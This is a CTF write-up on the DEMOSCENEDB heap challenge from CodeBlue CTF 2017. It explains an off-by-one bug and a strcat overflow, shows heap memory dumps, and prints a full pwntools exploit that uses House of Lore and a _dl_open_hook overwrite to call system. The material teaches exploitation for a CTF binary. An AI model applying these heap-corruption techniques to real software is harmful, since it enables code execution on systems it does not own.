Introduction
I take a weekend to view the write-up given by 217 [1]. I think their solution is so amazing, which is based on House of Lore. Therefore, I decide to write a new write-up on DEMOSCENEDB in CodeBlue CTF 2017 and demonstrate the usage of House of Lore again.
According to the post of challenge author [2], this challenge is supposed to be solved via House of Mind. However, 217 gave a solution on House of Lore and include many exploitation tricks, e.g. dl_open. In this post I will just mention about the tricks given above and give detailed tutorials later.
The exploit given in this post is completely based on the exploit of 217. The main work of this post is to rewrite the exploit in python with some debugging info and provide more details about the exploitation procedure.
So fucking interesting is heap exploitation.
Vulnerability Analysis
For the work flow of the challenge, please refer to [1]. In my previous write-up, I give that the vulnerable code exists in copy_animation function as below:
used_size = size_from&~LUMP_BIT; if (size_to < used_size) { used_size = size_to; } memmove(animations[to]->scenes, animations[from]->scenes, used_size);
Based on this, I say that there exists an off-by-one error if size of to animation is less than from and to animation is lump at the same time. Based on this observation, I say that we can use House-of-Mind to launch attack.
However, if we take a deep look at the source code of copy_animation function, we can find that there exists another vulnerable code as below, which is used in the write-up of 217.
for (i=0; i<lim; i++) { if (size_to & LUMP_BIT) { strcat((char*)animations[to]->scenes, animations[from]->scenes[i]); } else { strcpy(animations[to]->scenes[i], animations[from]->scenes[i]); } }
In the situation where each scene of animation is NULL-terminated, there is nothing wrong in the code above. However, with the given off-by-one vulnerability, things are totally different. Since the strcat function will not stop concatenating the source string to the target string until it meets the first terminating character, therefore we can overflow the whole metadata of next adjacent chunk, create overlapping chunk and trigger House of Lore in the end.
Exploit Plan
We need to trigger both vulnerabilities mentioned above.
In the first round, we allocate two lump animations. Then we try to copy the bigger one to the smaller one to trigger the off-by-one vulnerability.
In the second round, things are a little bit tricky. Our final goal here is to overwrite the meta of freed chunk (in unsorted bin) therefore creating overlapping chunk in the end. To achieve this goal, the exploitation has to be divided into two steps: (1) Create the freed chunk and (2) Overwrite metadata of next adjacent freed chunk.
In the solution given by 217, they trigger the second vulnerability to corrupt the size of top chunk once. Trigger allocation once and put the corrupted top chunk to unsortedbin. Then trigger the second vulnerability again to create overlapping chunk. To trigger the second vulnerability, we need to copy a non-lump animation to a lump animation.
Before corrupting the metadata of freed chunk:
0x1c69400: 0x6363636363636363 0x0000000000001be1 0x1c69410: 0x00007f94d3f31b78 0x00007f94d3f31b78 0x1c69420: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b20: 0x0000000100000000 0x0000000000000000 0x7f94d3f31b30: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b40: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b50: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b60: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b70: 0x0000000000000000 0x0000000001c72500 0x7f94d3f31b80: 0x0000000000000000 0x0000000001c69400 0x7f94d3f31b90: 0x0000000001c69400 0x00007f94d3f31b88 0x7f94d3f31ba0: 0x00007f94d3f31b88 0x00007f94d3f31b98
After corrupting the metadata of freed chunk:
0x1c69400: 0x6363636363636363 0x0000000000003d01 0x1c69410: 0x00007f94d3f31b78 0x00007f94d3f31b78 0x1c69420: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b20: 0x0000000100000000 0x0000000000000000 0x7f94d3f31b30: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b40: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b50: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b60: 0x0000000000000000 0x0000000000000000 0x7f94d3f31b70: 0x0000000000000000 0x0000000001c72500 0x7f94d3f31b80: 0x0000000000000000 0x0000000001c69400 0x7f94d3f31b90: 0x0000000001c69400 0x00007f94d3f31b88 0x7f94d3f31ba0: 0x00007f94d3f31b88 0x00007f94d3f31b98
At this point let’s view the global animation list:
0x604060: 0x00007ffde3215d20 0x0000000001c4b010 0x604070: 0x0000000001c68010 0x0000000001c68210 0x604080: 0x0000000001c68510 0x0000000001c68710 0x604090: 0x0000000001c68910 0x0000000001c68b10 0x6040a0: 0x0000000001c68e10 0x0000000001c69110 0x6040b0: 0x0000000001c6c010
We can find that the freed chunk at 0x1c69400, whose size is 0x3d00 at present, is overlapping over the victim chunk located at 0x1c6c010 (0x1c69400+0x3d00 = 0x1c6d100).
The next step is to allocate a chunk of size 0x2d00. This steps will result in two important results: (1) creating a fake chunk at 0x1c6c100 in the victim chunk; (2) put the remaining chunk in largebin. (Please note that the freed chunk is located in largebin, in my exploit I follow the naming rule as 217)
0x604060: 0x00007ffde3215d20 0x0000000001c4b010 0x604070: 0x0000000001c68010 0x0000000001c68210 0x604080: 0x0000000001c68510 0x0000000001c68710 0x604090: 0x0000000001c68910 0x0000000001c68b10 0x6040a0: 0x0000000001c68e10 0x0000000001c69110 0x6040b0: 0x0000000001c6c010 0x0000000001c69410 0x1c6c100: 0x0000000000010101 0x0000000000001001 0x1c6c110: 0x00007f94d3f32198 0x00007f94d3f32198 0x1c6c120: 0x0000000001c6c100 0x0000000001c6c100 0x7f94d3f321a0: 0x00007f94d3f32188 0x0000000001c6c100 0x7f94d3f321b0: 0x0000000001c6c100 0x00007f94d3f321a8 0x7f94d3f321c0: 0x00007f94d3f321a8 0x00007f94d3f321b8
After this, the following exploitation is the same as routine House of Lore exploitation.
The final step is to overwrite _dl_open_hook and print the content of flag to console. For more details in this step, please refer to my tutorial on _DL_OPEN.
Exploit
First of all, we leak the memory layout as below and obtain the base address of libc.
Then we run the exploit below and get the following output:
from pwn import * import sys import os DEBUG = int(sys.argv[1]); serverID = sys.argv[2]; #kill previous session os.system("ps aux > log"); fd = open("log", 'r'); lines = fd.readlines(); pid = ""; for line in lines: if(("demo" in line) and (serverID not in line)): pid = line.split()[1]; log.info(pid); os.system("kill -9 %s" % pid); break; r = remote("localhost", 11451); #attach to new session os.system("ps aux > log"); fd = open("log", 'r'); lines = fd.readlines(); pid = ""; for line in lines: if(("demo" in line) and (serverID not in line)): pid = line.split()[1]; log.info(pid); break; count = 0; if(DEBUG == 2): gdb.attach(int(pid), '''source ./script.py'''); def halt(): while(True): log.info(r.recvline()); def createAnimationLump(num, desc, content): global count; r.recvuntil(">"); r.sendline("1"); r.recvuntil("How many scenes does your animation use?:"); r.sendline(str(num)); r.recvuntil("Do you want to use the region as one scene?[Y/n]:"); r.sendline("Y"); r.sendline(desc); r.sendline(content); count = count + 1; return count def createAnimationSlice(num, desc, content): global count; r.recvuntil(">"); r.sendline("1"); r.recvuntil("How many scenes does your animation use?:"); r.sendline(str(num)); r.recvuntil("Do you want to use the region as one scene?[Y/n]:"); r.sendline("N"); r.sendline(desc); for i in range(0, num): r.sendline(content); count = count + 1; return count; def editDesc(index, desc): r.recvuntil(">"); r.sendline("2"); r.recvuntil("Which description do you want to edit?:"); r.sendline(str(index)); r.sendline(desc); def editSceneLump(index, content): r.recvuntil(">"); r.sendline("3"); r.recvuntil("Which scenes do you want to edit?:"); r.sendline(str(index)); r.sendline(content); def editSceneSlice(index, num, content): r.recvuntil(">"); r.sendline("3"); r.recvuntil("Which scenes do you want to edit?:"); r.sendline(str(index)); for i in range(0, num): r.send(content); def showAnimation(): r.recvuntil(">"); r.sendline("4"); def copyAnimation(src, dst): r.recvuntil(">"); r.sendline("5"); r.recvuntil("Which animation do you want to copy?: "); r.sendline(str(src)); r.recvuntil("Dest: "); r.sendline(str(dst)); def combineAnimation(idx1, idx2, desc): r.recvuntil(">"); r.sendline("6"); r.recvuntil("Which animations do you want to combine?: "); r.sendline(str(idx1)); r.sendline(str(idx2)); r.sendline(desc); def editSceneValue64(index, value, offset): editSceneLump(index, "A"*(offset+7)); editSceneLump(index, "A"*(offset+6)); editSceneLump(index, "A"*(offset+5)); editSceneLump(index, "A"*(offset+4)); editSceneLump(index, "A"*(offset+3)); editSceneLump(index, "A"*(offset+2)); editSceneLump(index, "A"*(offset+1)); editSceneLump(index, "A"*offset + value); def quit(): r.recvuntil(">"); r.sendline("7"); def leak(): a1 = createAnimationLump(2, "A"*0x20, "A"*0x1ff); a2 = createAnimationLump(1, "A"*0x20, "C"*0xff); a3 = createAnimationLump(1, "A"*0x20, "D"*0xff); copyAnimation(a1, a2); quit(); halt(); def exploit(): global count; libcBase = 0x7f94d3b6d000; libc = ELF("./libc.so.6"); heapBase = 0x1c4b000; dl_open = createAnimationLump(0x1d0-1, '\n', '\n'); v1 = createAnimationLump(1, "AAAA", "a"*0xff); v2 = createAnimationLump(2, "BBBB", "b"*0x1ff); v3 = createAnimationSlice(1, "CCCC", "\n"); c129_1 = createAnimationSlice(1, "c129", 'c'*127 + p16(0x1c01)); log.info("C129_1: %d" % c129_1); c129_2 = createAnimationSlice(1, "c129", 'c'*127 + p16(0x3d01)); log.info("C129_2: %d" % c129_2); copyAnimation(v2, v1); copyAnimation(v1, v3); combineAnimation(v3, c129_1, "c129_1"); big1 = count + 1; log.info("big1: %d" % big1); count = count + 1; combineAnimation(v3, c129_2, "c129_2"); big2 = count + 1; log.info("big2: %d" % big2); count = count + 1; f = createAnimationLump(2, "small", '\n'); log.info("f: %d" % f); copyAnimation(big1, f); victim = createAnimationLump(100, "CCCCCC", "A"*(8 + 16 * 255) + p32(0x3d10) ); log.info("victim: %d" % victim); editSceneLump(victim, "A"*(8+16*255) + '\x00'); copyAnimation(big2, f); trigger = createAnimationLump(0x2c, "trigger", 'A' * (0x2c * 256 - 8) + p32(0x10101) ); log.info("trigger: %d" % trigger); dummy1 = createAnimationLump(12, "dummy", "HEHE"); add_al_ret = libcBase + 0x2da69; systemAbsAddr = libcBase + libc.symbols['system']; log.info("add_al_ret: 0x%x" % add_al_ret); log.info("system abs address: 0x%x" % systemAbsAddr); payload = p64(add_al_ret) + p64(systemAbsAddr) + "cat flag >&2\x00"; editSceneValue64(dl_open, "cat flag >&2", 0x10); editSceneValue64(dl_open, p64(systemAbsAddr), 0x8); editSceneValue64(dl_open, p64(add_al_ret), 0); target = heapBase + 0x1d000 + 0x100 * 19 + 0x2d00 + 0x100; log.info("target value: 0x%x" % target); small300 = libcBase + 0x3c4e68; editSceneValue64(victim, p64(target+0x10), 0xd10); editSceneValue64(victim, p64(small300), 0xd08); editSceneValue64(victim, p64(0x301), 0xd00); editSceneLump(victim, "A"*0xd00); editSceneLump(victim, p64(0)*0xcf8); editSceneLump(victim, p64(0)*0x20); editSceneValue64(victim, p64(target + 0xd01), 0x18); editSceneLump(victim, "A"*0x18 ); fake = createAnimationLump(2, "a"*0x10 + p64(0x6040c0-0x10), "start to corrupt global list" ); log.info("fake: %d" % fake); editSceneValue64(victim, p64(0x6040c0-0x10), 0x20); editSceneValue64(victim, p64(0x6040c0-0x18), 0x18); editSceneValue64(victim, p64(0x301), 0x10); dummy2 = createAnimationLump(2, "dummy", "corrupt global list"); dl_open_heap = heapBase + 0x108 #final allocation r.recvuntil(">"); r.sendline("1"); r.recvuntil("How many scenes does your animation use?:"); r.sendline(str(0x44)); r.recvuntil("Do you want to use the region as one scene?[Y/n]:"); r.sendline("N"); r.sendline("final"); r.sendline("\n" * 0x43 + "\x02" * 0x80 + p64(heapBase + 0x108)[0:4]); final = count + 1; r.clean(); r.sendline("5"); r.recvuntil("Which animation do you want to copy?: "); r.sendline(str(final)); r.recvuntil("Dest: "); r.sendline(str(12)); log.info("pwn"); quit() halt(); if(DEBUG == 0): leak(); elif(DEBUG == 1): exploit(); elif(DEBUG == 2): exploit();
Conclusion
After reproducing the solution given by 217, I just want to say it’s so fucking interesting of heap exploitation. And I get to know the wrong point in my previous write-up on DEMOSCENEDB and I may need to rewrite the solution I wrote in the previous write-up. Thanks 217 for giving a different solution.
Reference
[1] https://github.com/david942j/ctf-writeups/tree/master/codeblue-2017/demo_scene_db
[2] http://binja.github.io/2017/11/13/Thoughts-on-CODE-BLUE-CTF-write-ups/